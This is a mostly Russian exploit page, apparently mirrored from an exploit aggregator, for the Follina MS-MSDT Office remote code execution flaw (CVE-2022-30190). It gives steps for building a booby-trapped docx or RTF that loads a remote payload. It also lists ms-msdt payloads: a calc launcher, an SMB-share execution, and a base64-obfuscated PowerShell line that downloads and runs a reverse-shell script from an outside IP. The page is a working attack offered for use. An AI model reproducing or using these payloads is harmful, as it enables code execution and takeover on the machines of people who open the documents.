Exploit for MS-MSDT-Office-RCE-Follina

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-0XFLAGPLZ-MS-MSDT-OFFICE-RCE-FOLLINA
# MS-MSDT-Office-RCE-Follina

CVE-2022-30190 | MS-MSDT Follina Один клик

  1. Создайте файл Docx.
  2. В файле Docx: Вставка > Объект > Точечный рисунок > Ок
  3. В запущенном приложении Paint сохраните файл Paint.
  4. Сохраните ваш файл Docx.
  5. Откройте ваш файл как архив (с помощью 7Zip; Правый клик > 7Zip > Открыть архив.)
  6. Скопируйте Document.xml из \Word\ и файл document.xml.rels из \word_rels\
  7. Откройте/отредактируйте \word_rels\Document.xml.rels и найдите XML-тег отношения с "/relationships/oleObject". После этого замените адрес в "Target=" на ваш удаленный адрес, откуда будет получена нагрузка. Также добавьте "TargetMode="External"" в XML-тег.
  8. Сожмите обратно в файл Docx (Отправить > Сжатая ZIP-папка | Переименуйте расширение файла с zip на docx/doc)



* * *

### Тип файла RTF

После того как docx-файл сохранен с использованием параметров шага / параметров ниже. Сохраните Docx как RTF.

> Если вы также добавите эти элементы под элемент `<o:OLEObject>` в `word/document.xml`:

root@kitploit:~
    
    
    <o:LinkType>EnhancedMetaFile</o:LinkType>
    <o:LockedField>false</o:LockedField>
    <o:FieldCodes>\f 0</o:FieldCodes>
    

* * *

Процесс повторной архивации можно также увидеть в скрипте Python от JohnHammond: ~ Rebuild the original office file ~

root@kitploit:~
    
    
    shutil.make_archive(args.output, "zip", doc_path)
    os.rename(args.output + ".zip", args.output)
    

Ссылка: https://github.com/JohnHammond/msdt-follina/blob/main/follina.py

* * *

## Полезные нагрузки

### Базовый запуск калькулятора:

root@kitploit:~
    
    
    <script>
    window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h$(Start-Process('calc'))i/../../../../../../../../../../../../../../Windows/system32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\"";
    </script>
    

Можно заменить `Start-Process('calc')` на:

> `IEX('calc.exe')`

* * *

### Выполнение через общий ресурс SMB:

root@kitploit:~
    
    
    <script>
    location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=/../../$(\\\\taretip\\share\\poc)/.exe)"";
    </script>
    

* * *

### Загрузка PS1-файла:

root@kitploit:~
    
    
    <script>
    window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=cal?c IT_SelectProgram=NotListed IT_BrowseForFile=h$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'cG93ZXJzaGVsbC5leGUgLWMgImlleCAoaXdyIGh0dHA6Ly8xOTIuMTY4LjE5OC4xMjgvcmV2LnBzMSAtVXNlQmFzaWNQYXJzaW5nKSIK'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe \"";
    </script>  
    

Декодировано:

root@kitploit:~
    
    
    Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("powershell.exe -c "iex (iwr http://192.168.198.128/rev.ps1 -UseBasicParsing)""))))
    

* * *

### Apache2 access.log должен отобразить соединение при открытии файла

![Пример лога](https://assets.kitploit.com/production/public/readmes/14426/049be09042f2bb7e7102e1a574d50386b6b6ecffb40aa9526b24d0ce2a76ffdc.png)